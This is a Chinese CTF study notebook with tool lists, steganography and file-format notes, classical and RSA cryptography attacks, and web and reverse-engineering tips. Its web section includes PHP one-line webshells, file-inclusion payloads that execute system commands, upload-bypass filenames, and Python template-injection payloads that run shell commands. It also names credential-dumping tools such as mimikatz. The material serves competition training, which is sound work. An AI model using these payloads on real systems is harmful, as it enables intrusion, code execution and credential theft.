CTF学习笔记

CTF

  1. Web漏洞与渗透(Web)
    操作系统和网站应用服务器安全,
    网站多种语言源代码阅读分析(特别是php和java),
    数据库管理和SQL语句查询,
    Web漏洞挖掘和利用(SQL注入和XSS等),
    各种服务器提权,
    编写补丁并修复网站漏洞。

  2. 软件逆向 (Reverse Engineering)
    Windows / Linux / Android 在 x86 / x86_64 / ARM平台多种编程语言的熟练掌握,
    对源代码及二进制文件的分析和理解,
    对多种反编译乃至反汇编逆向工具和脱壳,调试技巧的熟练掌握,
    Android移动应用APK文件的逆向分析,
    掌握加解密,内核编程,算法,反调试和代码混淆技术。

  3. 漏洞挖掘和利用 (Exploit)
    Windows / Linux 在 x86 / x86_64 平台的二进制程序漏洞挖掘
    掌握C / C++ / Python / PHP / Java / Ruby / 汇编 等语言,
    掌握缓冲区溢出和格式化字符串攻击,
    编写shellcode进行利用。

  4. 密码学原理及应用 (Crypto)
    掌握古典密码学和现代密码学,
    分析密码算法和协议,
    计算密钥和进行加解密操作。

  5. 安全杂项 (Misc)
    信息搜集能力,
    编程能力考察,
    移动(Mobile)应用安全,
    隐写术和信息隐藏,
    计算机取证 (Forensics) 技术和文件恢复,
    网络基础以及对网络流量的分析能力。

西普实验吧CTF解题Writeup大全

杂项

ctf-katanactf武器库

常用

RouterPassView路由器密码查看器
二维码扫描器(http://jiema.wwei.cn/)(https://www.bejson.com/convert/qrcode/)(`QR_Research`),二维码修复参考`https://blog.csdn.net/zsj2102/article/details/75541856`(搜索 QRCode)
条形码扫描器
aircrack-ng:aircrack-ng wifi.cap -w wordlist.txtwifi-跑包,流量分析
airdecap-ng解密cap报文airdecap-ng.exe shipin.cap -e 0719 -p 88888888
RGB转图片代码
CRC32碰撞代码,(https://github.com/theonlypwner/crc32)
010editor16进制编辑器
winrar压缩解压工具
md5碰撞Goodbye World :-(,Hello World ;-)(https://www.cnblogs.com/alexyuyu/articles/3508110.html)
Advanced Archive Password Recovery-ARCHPRzip及rar密码爆破;fcrackzip-linuxzip爆破(fcrackzip -b -c 1 -u -v -l 1-5 00000000.zip);RAR Password UnlockerRAR Password Crackerrar爆破;Ziperello恢复zip压缩文件密码的工具;Zip Repairzip修复工具
base64转图片
R-studio``Diskgenius(文件恢复,img挂载)
百度文字识别
Beyond Compare``UltraCompare文件对比工具
file查看文件描述,strings查看字符串,import filetype;print(filetype.guess('l.zip'))使用python猜测文件类型;windows:trid
php代码在线运行
ping用的协议是icmp
合并文件(copy /B x* xx.pngtype x* >>xx.png)
文章-解析FAT16文件系统
XOR AssistantXOR计算器,可选择文件
Access MDB 数据库密码查看器
HashTabwin文件属性添加文件md5sha1CRC32,也可进行文件对比
/proc/self/environ读取环境变量
mathematica数论工具
Potplayer万能视频播放器
python-z3py微软出品的开源约束求解器(http://www.freebuf.com/articles/database/170814.html)
hash_extender或HashPumpMD5长度扩展攻击
cap包在线修复
advanced office password recoverydoc密码暴力破解
蜜罐系统-kippo,dionaea
科来网络分析工具
volatility内存取证
Elcomsoft Forensic Disk Decryptor(EFDD解密工具)可实时解密BitLocker、PGP以及TrueCrypt加密磁盘
c语言编译:gcc test.c -o test
dd if=1 bs=1 of=1.1 skip=364输入文件名1,输出文件名1.1,每次1字节,跳过前364字节
md5sum filename计算文件的md5
ex3||ex4文件恢复
ffmpeg -i Marcode.mp4 -r 25 -f image2 frames/frame-%04d.png提取视频每一帧为图片
evilarc创建包含递归文件的zip,或使用指令zip ../admin/key.txt

1
2
# 文件挂载 # http://www.runoob.com/linux/linux-comm-mount.html
mount -o loop d.img /mnt/minix

Wireshark

Wireshark系列教程
Wireshark 用户手册

  • http.request.method == POST and http contains “admin”
  • ip.src eq 192.168.1.107 or ip.dst eq 192.168.1.107 and ip.addr == 192.168.1.107
  • tcp.port == 80 and udp.dstport == 80 or tcp.srcport <= 10000
  • tcp|udp|arp|icmp|http|smtp|ftp|dns|msnms|ip|ssl|not oicq|!bootp
  • eth.dst == A0:00:00:04:C5:84 and eth.src eq A0:00:00:04:C5:84 or eth.addr eq A0:00:00:04:C5:84
  • http.request.method == “GET” or http.request.method == “POST”
  • http.request.uri == “/img/logo-edu.gif” or http.request.uri contains “/img/logo-edu.gif” or http contains “GET”

隐写术

binwalk分析二进制文件,binwalk -e分离文件
winhex查看文件二进制(加载vmdk-专业工具>将镜像文件转换为磁盘)
JPEG文件头FFD8FFE0 00104A46,JPEG文件结尾为FFD9,rar的文件尾C43D7B00 400700,文件头52617221 1A0700Rar!,ZIP文件头504B0304 0A00PK,GIF开头47494638 3961GIF,PNG文件头89504E47 0D0A1A0A 0000000D 49|PNG,PNG文件结尾49454E44 AE426082IENDbmp文件头424DBM(https://blog.csdn.net/beiya123/article/details/70170616)
各类文件头信息(https://tool.lu/magicbytes/)
Audacity音频分析软件
ZIP伪加密(50 4B 01 02 3F 00 14 00 00 00),ZipCenOp.jar-java -jar ZipCenOp.jar r xxx.zip检测伪加密
steganography图片隐写术加密
foremost 分离文件,有bug
steghide隐藏文件 (steghide info 查看隐写信息;steghide extract -sf 隐藏文件 [-xf 输出文件 -p 密码])
steghide字典爆破python steg_brute.py -b -d password.lst -f rabbithole.jpg
Stegolve图片通道信息,合并,逐帧查看
png修改图片高度
gnuplot可根据坐标绘图
gifsplittergif分离工具,好压看图王gif分离为jpg,convert favicon.gif output.pnglinux中将gif转为png
stegdetect可以检测jpg通过JStegJPHideOutGuessInvisible SecretsF5appendXCamouflage等这些隐写工具隐藏的信息.(http://old-releases.ubuntu.com/ubuntu/pool/universe/s/stegdetect/?C=M;O=A)
(stegdetect 1.jpg -s 1000 -s 参数修改敏感度)
-q 仅显示可能包含隐藏内容的图像。
-n 启用检查JPEG文件头功能,以降低误报率。如果启用,所有带有批注区域的文件将被视为没有被嵌入信息。如果JPEG文件的JFIF标识符中的版本号不是1.1,则禁用OutGuess检测。
-s 修改检测算法的敏感度,该值的默认值为1。检测结果的匹配度与检测算法的敏感度成正比,算法敏感度的值越大,检测出的可疑文件包含敏感信息的可能性越大。
-d 打印带行号的调试信息。
-t 设置要检测哪些隐写工具(默认检测jopi),可设置的选项如下:
j 检测图像中的信息是否是用jsteg嵌入的。
o 检测图像中的信息是否是用outguess嵌入的。
p 检测图像中的信息是否是用jphide嵌入的。
i 检测图像中的信息是否是用invisible secrets嵌入的。
-V 显示软件版本号。

加密

文章/工具

网站合集-一些在线解密网站
文章-CTF中那些脑洞大开的编码和加密
文章-CTF中编码与加解密总结
常用于密码学中的算法
padding-oracle和cbc翻转攻击
python random预测

工具合集-CTFtools大量工具合集
编码/加密/Json/给中转换/二维码/文字识别等大量工具
编译/前端
CTF常用在线工具总结
SHA/MD5/Hmac/url/aes/des/rabbit/RC4/tripledes/base64
开发/站长/极客/其他/HR工具
kt.gy各种编码转换工具
ctf在线工具合集-加密、编码
converter
xssee编码这换
Braintools/bftoolsbftools.exe decode braincopter(或者brainloller) doge.png --output out.png && bftools.exe run out.png
CyberChef(英国情报机构政府通信总部(GCHQ)官方离线解密解码html工具)
bugku在线工具箱
站长/加密解密/前端js解密

crx-XSS Encode(前端各种编码/解码)
CTFCrackTools(凯撒/维吉尼亚/倒序/猪圈/栅栏/字符转16进制/base64/32/摩斯/培根/url/unicode,可加载自定义Python脚本)
西西万能编码转换器(URL/UTF8/ASCII/MD5/字符转16进制/base6/域名转IP/简繁体/BIG5)
系统自带计算器(进制转换/科学计算/日期计算/货币体积重量等各种转换器)
hydra各种系统服务暴力破解
hashcat各种密码离线暴力破解
JPocketKnife(进制转换,bin-ascii)
飘云阁密码学综合工具
小葵多功能转换工具(url/sql/hex/ascii/base64/md5)
pwgen创建随机密码xeger根据正则表达式反向随机生成满足表达式格式的字符串Cupp社工密码字典生成工具Cewl通过爬取网站的时候,根据爬取内容的关键字生成一份字典

常见加密

摩斯密码
栅栏密码,(CTFCrackTools-FenceCode)
凯撒密码,(http://www.zjslove.com/3.decode/kaisa/index.html)
维吉尼亚密码Vigenère cipher,(https://www.guballa.de/vigenere-solver)
当铺密码/倒序密码-[凯撒密码、维吉尼亚、当铺密码、倒序密码]
电脑键盘/手机键盘加密
brainfuck(http://esoteric.sange.fi/brainfuck/impl/interp/i.html)(http://copy.sh/brainfuck/)(https://www.splitbrain.org/services/ook)(https://www.nayuki.io/page/brainfuck-interpreter-javascript)(又被称为brainf**k或者BF,brainfuck语言用`<>+-.,[]八种符号来替换C语言的各种语法和命令。Ook!语言与brainfuck类似。或使用.!?三种符号。)猪圈密码-(CTFCrackTools-Pigcode)(http://ctf.ssleye.com/pigpen.html) [Rabbit加密](https://www.sojson.com/encrypt_rabbit.html)z85(Js库) [培根密码(1)加解密](http://tool.bugku.com/peigen/)(https://netair.xyz/tools/培根密码加密解密.html)培根密码(CTFCrackTools-不同与在线) --仅字母A和B;培根密码(2)A-M=>a,N-Z=>b(https://baike.baidu.com/item/培根密码/2134182?fr=aladdin) [AES/DES/RC4/Rabbit/TripleDes加密/解密](https://www.sojson.com/encrypt.html)(http://tool.chacuo.net/cryptaes)(http://aes.online-domain-tools.com/)(http://encode.chahuo.com/)(http://e-file.arkoo.com/tools/des3.htm)(http://tool.oschina.net/encrypt)(http://tools.jb51.net/password/des_encode)(http://tool.chinaz.com/Tools/textencrypt.aspx)(http://www.seacha.com/tools/aes.html?src=U2FsdGVkX182eA%2F8U%2F2KZS481hY9lDS37kNjZ1UZtCckgQoGA7lo%2FDtcv78qFew6LuMTMoP2mEapD0YIBh2Waw%3D%3D&mode=CBC&keylen=128&key=iFurySt&iv=&bpkcs=&session=nwsdOeV7LRvXDMbQF7lq&aes=ff97b7ab6427f742649ba3eddf05386b&encoding=base64&type=1)(http://tool.sufeinet.com/Encrypt/DesEncrypt.aspx)(http://www.kjson.com/encrypt/des/)Python代码(https://www.cnblogs.com/huangjianting/p/8666446.html)aeskeyfind-linux寻找文件中的AES密码 [与佛论禅](http://www.keyfc.net/bbs/tools/tudoucode.aspx)与佛论禅 --中文乱码 [MD5解密](http://www.cmd5.com/)(https://somd5.com/)(https://www.md5online.org/)(http://www.chamd5.org/)(http://hashcrack.com/index.php)(http://www.xmd5.org/)(http://pmd5.com/)(http://www.wmd5.com/)[本地md5解密](http://www.atool.org/md5-crack.php)(hashcat) [Unicode/UTF8编码转换](http://tool.chinaz.com/tools/unicode.aspx) [字符转16进制](https://www.bejson.com/convert/ox2str/)托马斯杰弗逊转轮加密(https://blog.csdn.net/pdsu161530247/article/details/73604729)ADFGVX加密(http://hebin.me/2017/09/08/%e8%a5%bf%e6%99%aectf-%e7%b4%a7%e6%80%a5%e6%8a%a5%e6%96%87/)XOR Assistant异或计算 AES加密候选算法RijndaelSerpentTwofishMARSRC6[AES/DES/RC4/serpent加密](http://serpent.online-domain-tools.com/) [精灵语](https://www.sohu.com/a/163576192_556712)(沙拉堤文字(Sarati)、腾格瓦文字(Tengwar)、色斯文(Cirth))列置换-将密文分为N列`Playfair(是一种使用一个关键词方格来加密字符对的加密法)案例
盲文字母对照表
希尔密码(https://planetcalc.com/3327/)(注意对照表可能不同,在线解密不一定对,[案例](https://blog.csdn.net/dongyanwen6036/article/details/76358824))
矩阵求逆
分解质因数(http://factordb.com/)`msieve`,`yafu-x64.exe;factor(n)`
彩虹表下载,指令rcracki_mt.exe -h 9e94258a03356914 D:\Downloads\rainbow
ASP/VBScript/JScript.Encode 在线解密(http://adophper.com/encode.html)
Base64/Base32/Base16
WinDecrypto(http://www.softpedia.com/get/Others/Home-Education/Decrypto.shtml#download)(不能安装直接解压)[quipqiup词频分析](https://quipqiup.com/)
hashcat(https://blog.werner.wiki/use-hashcat-crack-all-kinds-of-hash/)(https://blog.werner.wiki/hashcat-attack-modes/)(https://hashcat.net/wiki/doku.php?id=hashcat)各种离线hash破解
hydra(https://blog.werner.wiki/online-brute-force-tool-Hydra/)在线服务破解
Ophcrackwin密码破解-彩虹表
mimikatz获取Win7明文登录密码
mimipenguin从内存中获取linux明文登录密码-需root
QuarksPwDump抓取Windows HASH
标准银河字母
埃特巴什码是一种以字母倒序排列作为特殊密钥的替换加密,即将ABCDEFGHIJKLMNOPQRSTUVWXYZ替换成ZYXWVUTSRQPONMLKJIHGFEDCBA
Maya 数字(https://baike.baidu.com/item/玛雅数字/1931332)
jsfuck使用()+[]!等六个字符编码js代码,jother使用()[]{}!+8个字符编码js代码
Bubble Babble EncodingPineapple->xigak-nyryk-humil-bosek-sonax
Quoted-Printable编码(http://www.mxcz.net/tools/quotedprintable.aspx)样式`=E4=B8=89=E5=B8`
jjencode/aaencode-js,rrencode-Ruby,ppencode-Perl使用符号/颜文字编码,jjencode(http://utf-8.jp/public/jjencode.html),[aaencode](http://utf-8.jp/public/aaencode.html)
xxencode``uuencode(http://web.chacuo.net/charsetxxencode/)
CTF比赛中关于javascript的总结

字母频率

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
8.19 1.47 3.83 3.91 12.25 2.26 1.71 4.57 7.10 0.14 0.41 3.77 3.34 7.06 7.26 2.89 0.09 6.85 6.36 9.41 2.58 1.09 1.59 0.21 1.58 0.08
E T A O I N R S H D C L M P U F G W Y B V K X J Q Z
12.25 9.41 8.19 7.26 7.10 7.06 6.85 6.36 4.57 3.91 3.83 3.77 3.34 2.89 2.58 2.26 1.71 1.59 1.58 1.47 1.09 0.41 0.21 0.14 0.09 0.08

技巧

  • PHP-srand生成php随机数种子,不同版本不通用
  • ZIP明文攻击:拥有压缩包中的一个文件,将其压缩后使用ARCHPR明文攻击
  • U2FsdAES加密特征

RSA

  • CTF中常见的RSA相关问题总结
  • CTF中RSA的常见攻击方法
  • 文章-RSA算法原理
  • RSA 算法详解
  • 浅析RSA Padding Attack
  • n=pq,p/q均为质数;`phi = (p-1) (q-1),e/phi互质,即gcd(phi,e)==1,且1<e<phi;加密c = (m ^ e) % n,解密m = (c ^ d) % n`,其中m为明文,c为密文,(n,e)为公钥对,d为私钥,要求 0 <= m < n 。
  • 直接分解N
    • 一般n的长度小于等于512bit,可直接在线分解质因数
    • 利用公约数:如果在两次公钥的加密过程中使用的$n_1$ 和$n_2$具有相同的素因子,那么可以利用欧几里得算法直接将$n_1$和$n_2$分解。
    • 在p,q的取值差异过大,或者p,q的取值过于相近的时候,Format方法与Pollard rho方法都可以很快将n分解成功.yahuyafu-x64.exe;factor(n);yafu gcd(@) -batchfile c:\Users\zengjia\Desktop\test.txt(n过长时使用,最后需要换行,使用后文件消失)
    • n和c可能存在公约数yafu-x64.exe;gcd(n,c)
    • msieveC:\software\msieve153\msieve153.exe n -q(0开头代表8进制,0x开头代表16进制,否则为10进制,-q不记录日志中而是输出到屏幕上)
  • 低加密指数攻击
    • e=3时的小明文攻击:当e=3时,如果明文过小,导致明文的三次方仍然小于n,那么通过直接对密文三次开方,即可得到明文。
    • 低加密指数广播攻击:如果选取的加密指数较低,并且使用了相同的加密指数给一个接受者的群发送相同的信息,那么可以进行广播攻击得到明文。
    • Coppersmith定理攻击:Coppersmith定理指出在一个e阶的mod n多项式f(x)中,如果有一个根小于$ n^frac{1}{e} $,就可以运用一个O(log n)的算法求出这些根。
  • 低解密指数攻击:e过大或过小,可使用rsa-wiener-attack解出私钥
  • 共模攻击:如果在RSA的使用中使用了相同的模n对相同的明文m进行了加密,那么就可以在不分解n的情况下还原出明文m的值。
  • 其他(http://hebin.me/2017/09/07/西普ctf-rsangasis-ctf-2013/)
  • openssl分析公钥得到(n,e)openssl rsa -pubin -text -modulus -in public.pem,(http://tool.chacuo.net/cryptrsakeyparse)
  • openssl使用密钥进行解密openssl rsautl -decrypt -in flag.enc -inkey private.pem
  • Rabin加密中的N可被分解(n==2)
  • RSA 私钥恢复和最优非对称加密填充
  • LSB Oracle Attack(可以选择密文并泄露最低位)
  • 选择密文攻击(可以构造任意密文并获得对应明文)
  • RSA Timing Attack-计时攻击(根据耗时判断)是边信道攻击(或称”侧信道攻击”, Side Channel Attack, 简称SCA)的一种
  • RSA约束条件:1<e|d<phi;p,q为互不相等的质数;gcd(e , phi) == 1;0 <= m < n;(e * d)% n ==1;;;``;

数论

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(a + b) % n ≡ (a % n + b % n) % n //四则运算
(a - b) % n ≡ (a % n - b % n) % n
(a * b) % n ≡ (a % n * b % n) % n
(a ^ b) % n ≡ ((a % n) ^ b) % n //幂运算
((a + b) % p + c) % p = (a + (b + c) % p) % p //结合律
((a * b) % p * c) % p = (a * (b * c) % p) % p
(a + b) % p = (b + a) % p //交换律
(a * b) % p = (b * a) % p
(a+b) % p = ( a % p + b % p ) % p //分配律
((a +b)% p * c) % p = ((a * c) % p + (b * c) % p) % p
如果 a ≡ b (mod m) 且有 c ≡ d (mod m):
​a+c≡b+d (mod m)
​a−c≡b−d (mod m)
​a×c≡b×d (mod m)
若 a ≡ b(mod n) ,则
1.对于任意正整数c,有a^c ≡ b^c(mod n)
2.对于任意整数c,有ac ≡ bc(mod n),a+c ≡ b+c(mod n),
3.若 c ≡ d(mod n),则a-c ≡ b-d(mod n),a+c ≡ b+d(mod n),ac ≡ bd(mod n)
如果ac≡bc (mod m),且c和m互质,则a≡b (mod m)。
[理解:当且仅当c和m互质,c^-1存在,等式左右可同乘模逆。]
除法规则:
在模n意义下,a/b不再仅仅代表这两个数相除,而是指 a+k1*n 和 b+k2*n这两个组数中任意两个相除,使商为整数
因此也就可以理解,除以一个数等价于乘以它的逆
a/b ≡ c(mod n) <=> a ≡ c*(b^-1) (mod n),其中b模n的逆记作b的负一次方。
欧拉定理:
若 n,a 为正整数,且 n,a 互素,则:a^phi(n) ≡ 1 (mod n);phi(n)可通过欧拉函数计算,如果n=q*p且q、p互质,phi(n)=(p-1)(q-1)
费马小定理:
a是整数,p是质数,则a^p≡a(mod p),如果a不是p的倍数,还有a^(p-1) ≡ 1(mod p)
中国剩余定理:
若x mod n1 = c1 and x mod n2 = c2 and x mod n3 = c3 且ni互质;可根据公司求得x
​​
c^d mod n = c^d mod p if m < p
pow(p, q, p*q) = p; pow(q, p, p*q)=q;

Web

常用

.git目录泄漏,可利用http://wutongyu.info/about-git-config-file-exp/下载网站所有文件,也可以用https://github.com/lijiejie/GitHack(python GitHack.py http://***//.git)
.DS_Store文件泄漏http://www.am0s.com/.DS_Storeds_store_exppython ds_store_exp.py http://101.71.29.5:10000/.DS_Store
网站备份压缩文件.txt,.bak,.xxx.swp,.html,.rar,.zip,.7z,.tar.gz,xxx~
默认/测试文件phpinfo.php,test.php,phpMyAdmin,404.html
配置文件config.php,web.config,conn.asp,db.php/asp,jdbc.properties,sysconfig.properties,JBOSS_HOME\docs\examples\jca\XXXX-ds.xml
SVN导致文件泄露http://www.am0s.com/admin/scripts/fckeditor.266/editor/.svn/entries,漏洞利用工具:dvcs-ripper,rip-svn.pl -v -u http://www.am0s.com/.svn/
WEB-INF/web.xml泄露

- /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
- /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
- /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
- /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
- /WEB-INF/database.properties:数据库配置文件

CVS泄漏:返回根信息http://www.am0s.com/CVS/Root,返回所有文件的结构http://www.am0s.com/CVS/Entries,下载bk clone http://www.am0s.com/name dir
apache配置文件泄漏.htaccess,httpd.conf
有关Python序列化和存在的反序列化缺陷思考
修改IP:X-Forwarded-For: 127.0.0.1

上传漏洞

0x00截断或%00
后缀名绕过(大小写,不常见后缀如php2, php3, php4, php5, phps, pht, phtm, phtml)
Content-Type:类型、大小写
HTTP参数污染(HPP)

1
<HTML> <% java.io.File file = new java.io.File("E:/software/WEB-goat/WEB-GOAT/WebGoat-5.4/tomcat/webapps/WebGoat/mfe_target/090654.txt"); file.createNewFile(); %> </HTML>

PHP

详解php比较操作符的安全问题
CTF中常见PHP特性学习笔记
CTF中常见的PHP知识点

strip_tags剥去字符串中的 HTML、XML 以及 PHP 的标签.
本地包含:file://,php://协议.show_source函数.
GLOBALS超全局数组,可以打印出所有变量.
php://input:读取post数据。例-文件包含漏洞转变成代码执行的漏洞:源码<?php @include($_GET["file"])?>,payload:urlhttp://*.*/fileinclude.php?file=php://input,post<?php system('whoami');?>
data URI schema:file=data:text/plain,<?php system('cat /var/www/FileInclude.php')?>,base64编码data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL3Zhci93d3cvRmlsZUluY2x1ZGUucGhwJyk/Pg==
php://filter/read=convert.base64-encode/resource=[文件路径]:以base64编码的方式读取指定文件的内容.
php://input,php://filter,data URI schema的那些事,可以修改为read=string.rot13或尝试zip,mcrypt绕过限制
md5值相等,但是值不相等:240610708QNKCDZO!1793422703!aabg7XSsaabC9RqS.或利用md5无法处理数组username[]=1&password[]=2,sha同.
!$_GET[‘id’]并且id==0:令id=%00或者令id=.都可以绕过
strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4:可以利用%00截断,令b=%0012345 绕过。
serializeunserialize:序列化和反序列化,参考
print_r(scandir("./"))print_r(glob("*")):当前目录文件列表
asserteval均会将字符串当PHP 代码执行,不过eval($assertion)只是执行符合php编码规范的$code_str。
strcmp用于比较两个字符串是否相等,相等则返回0.当比较任意数组与字符串时也返回0,可构造参数?v3[]=绕过
一句话木马<?php @eval($_POST["cmd"])?>,<?php @system($_POST["cmd"])?>,<?=eval($_POST['cmd']);>,www.bugku.com/tools/phpyijuhua.txt
<script language=php>system("ls")</script>列当前目录
上传绕过1.php;.jpg,1.php%00.jpg;1.php.php
session.upload_progress.enabled这个参数在php.ini默认开启,如果不是Off,就会在上传的过程中生成上传进度文件,参考writeup(https://xz.aliyun.com/t/2148)(http://bendawang.site/2018/03/13/N1CTF-2018-Web-writeup/)[Session 上传进度文档](http://php.net/manual/zh/session.upload-progress.php)
xdebugPHP的调试工具可getshell,参数remote_connect_back,参考同上,Xdebug: A Tiny Attack Surface
is_numeric判断是否是数字,可以用%00绕过
intval是有最大取值范围的,超过了会还原最大值。32位系统是2^31+1即2147483647
字符串与bool类型的true相等,字符串a和int类型0相等
md50比较,只需要找到md5值为0exxx(xxx全为数字,共30位的),如s878926199a
intintval在转换数字都是向下的,如0.99会被转为0,1.1会被转为1
数字大小及长度限制时可用科学计数法绕过(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)可使用9e7
变量覆盖id=a[0]=240610708
读取文件file("flag.php"),echo cat flag.php;,file_get_contents('flag.php'),show_source('flag.php')
md5相等if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])): ``Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2,16进制4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2,16进制4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
php 不用字母,数字和下划线写 shell
CTF题目思考–极限利用,shell /???/??? /bin/cat
$_GET自动替换.+_
数组与整数比较时,数组永远更大
php伪协议

python

Python沙箱逃逸payload总结
读文件:{{().__class__.__bases__[0].__subclasses__()[40]('flag').read()}}
命令执行1:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}
命令执行2:{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat flag*").read()')}}
waf绕过:{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
python沙箱环境过滤._及关键字
python模版注入过滤config/self/圆括号
python3沙箱逃逸

工具

其他

逆向

工具

ida逆向分析工具-静态分析;PEiD壳分析工具;Winhex二进制查看修改;Ollydbg逆向分析工具-动态调试;Android Killer安卓反编译;Roeder’s .NET Reflector.NET Framework反编译
拿到题第一步先分析是否加壳
pyc反编译,EasyPythonDecompiler,(http://tools.bugscaner.com/decompyle/)(https://github.com/rocky/python-uncompyle6)
JD-GUIJava反编译工具
ILSpy 是一个开源的.NET反编译工具
Action Script ViewerSWF(Flash)反编译软件
W32Dasm静态反汇编工具
angr:约束求解器
Cheat Engine内存修改编辑工具

文章

汇编中常见指令解释

技巧

  • 拿到题第一步先分析是否加壳PEiD
  • 00401000程序起始地址

安卓

工具:apktool,dextojar,jd-gui,jeb,android killer,apk在线反编译

溢出

技巧

checksec查看防御措施

工具